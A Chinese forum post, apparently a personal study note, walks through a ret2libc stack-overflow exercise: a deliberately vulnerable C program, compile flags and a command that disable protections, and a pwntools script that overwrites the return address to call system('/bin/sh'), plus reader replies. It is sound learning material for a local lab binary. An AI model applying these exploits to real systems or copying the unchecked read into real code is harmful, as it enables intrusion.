首页
论坛
课程
招聘
[原创]Ret2libc 学习记录笔记
2021-6-11 21:36 9673

[原创]Ret2libc 学习记录笔记

2021-6-11 21:36
9673

Ret2libc 练习记录笔记

前言

夫霸天下者有三戒,毋贪,毋忿,毋急。贪则多失,忿则多难,急则多蹶。夫审大小而图之,乌用贪?衡彼己而施之,乌用忿?酌缓急而布之,乌用急?君能戒此三者,于霸也近矣。

一;什么是Ret2libc 技术。

    它是指的是劫持程序流程利用程序当中已经存在得指令来执行。多用在栈不可执行得情况。

二;举例:

    2.1;程序源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

    2.2;编译指令

gcc -m32 -fno-stack-protector -no-pie -o test test.c

    2.3;检查程序保护技术

   

 注释:-no-pie只是针对编译的ELF文件做了随机化,libc加载地址跟/proc/sys/kernel/randomize_va_space有关,echo 0 >/proc/sys/kernel/randomize_va_space

    2.4;测试思路

    使用gdb 进行调试,运行程序并且获取函数system地址,以及参数“/bin/sh”的地址,然后设计溢出劫持程序流程来是程序运行system('/bin/sh')。

    2.5;调试

    设置断点,运行程序,使system()加载。

    获取system函数以及参数的地址

    生成字符穿,计算溢出点

    

    构造分析:

    注释;图中有一个难理解的地方,即覆盖system函数的地址后面为什么需要紧接这一个"ret"然后才是参数“/bin/sh”。其实该"ret"的值可以是任意。他的作用可以说就是为了在调用system() 函数压入参数的时候将“/bin/sh”压入。假定程序在正常执行时ret 的时候,原本可以正常跳转出去,但是现在ret 的位置被修改成为“system()”函数。所以执行完ret 指令之后,EIP的值是system(),也就是说下一步就是执行函数system()。所以,程序会在[EBP+8] 的位置找寻参数。下图为正常函数调用之后的栈空间示意图:


    exp

from pwn import *

p = process('./test')
#print 'pid' + str(proc.pidof(p))

ret=0x56556226
a = 0xf7e0a830
b = 0xf7f57352

payload = 'a'*140 + p32(a) + p32(ret) + p32(b)

#pause()

p.send(payload)
p.interactive()

    效果展示:

    调试exp,修改exp

from pwn import *

p = process('./test')
print 'pid' + str(proc.pidof(p))

ret=0x56556226
a = 0xf7e0a830
b = 0xf7f57352

payload = 'a'*140 + p32(a) + p32(ret) + p32(b)

pause()

p.send(payload)
p.interactive()

    




[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2021-6-13 19:29 被天象独行编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (4)
雪    币: 591
活跃值: 活跃值 (437)
能力值: ( LV10,RANK:168 )
在线值:
发帖
回帖
粉丝
kaoyange 活跃值 1 2021-6-13 17:37
2
0
lic是啥玩意?
雪    币: 1638
活跃值: 活跃值 (4196)
能力值: ( LV11,RANK:185 )
在线值:
发帖
回帖
粉丝
天象独行 活跃值 2 2021-6-13 19:29
3
0
kaoyange lic是啥玩意?
谢谢提醒
雪    币: 121
活跃值: 活跃值 (109)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
酒仙桥之虎 活跃值 2021-7-1 16:05
4
0
python3.9.2环境下
payload = 'a'*140.encode() + p32(a) + p32(ret) + p32(b)
不然会报错
雪    币: 1638
活跃值: 活跃值 (4196)
能力值: ( LV11,RANK:185 )
在线值:
发帖
回帖
粉丝
天象独行 活跃值 2 2021-7-1 22:22
5
0
酒仙桥之虎 python3.9.2环境下 payload = 'a'*140.encode() + p32(a) + p32(ret) + p32(b) 不然会报错
好的,谢谢指教。
游客
登录 | 注册 方可回帖
返回